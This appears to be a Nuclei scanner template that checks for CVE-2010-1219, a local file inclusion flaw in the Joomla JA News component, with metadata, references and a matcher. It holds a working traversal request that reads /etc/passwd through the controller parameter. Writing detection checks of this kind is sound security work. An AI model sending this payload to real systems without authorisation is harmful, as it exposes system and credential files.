id: CVE-2010-1219

info:
  name: Joomla! Component com_janews - Local File Inclusion
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in the JA News (com_janews) component 1.0 for Joomla! allows remote attackers to read arbitrary local files via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive files and potential remote code execution.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/11757
    - https://nvd.nist.gov/vuln/detail/CVE-2010-1219
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/56901
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:P
    cvss-score: 6.8
    cve-id: CVE-2010-1219
    cwe-id: CWE-22
    epss-score: 0.04133
    epss-percentile: 0.8879
    cpe: cpe:2.3:a:com_janews:com_janews:1.0:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: com_janews
    product: com_janews
  tags: cve,cve2010,joomla,lfi,edb,com_janews,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_janews&controller=../../../../../../../../../../etc/passwd%00"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502207ac954c2a8cb1e9209a7787395751b0641b4101323dd0482f82ad34d79ce93f1022100c8a418c951e13d4f5c0b5932119b101208e9d94c46855b32d483a15bf3d3d605:922c64590222798bb761d5b6d8e72950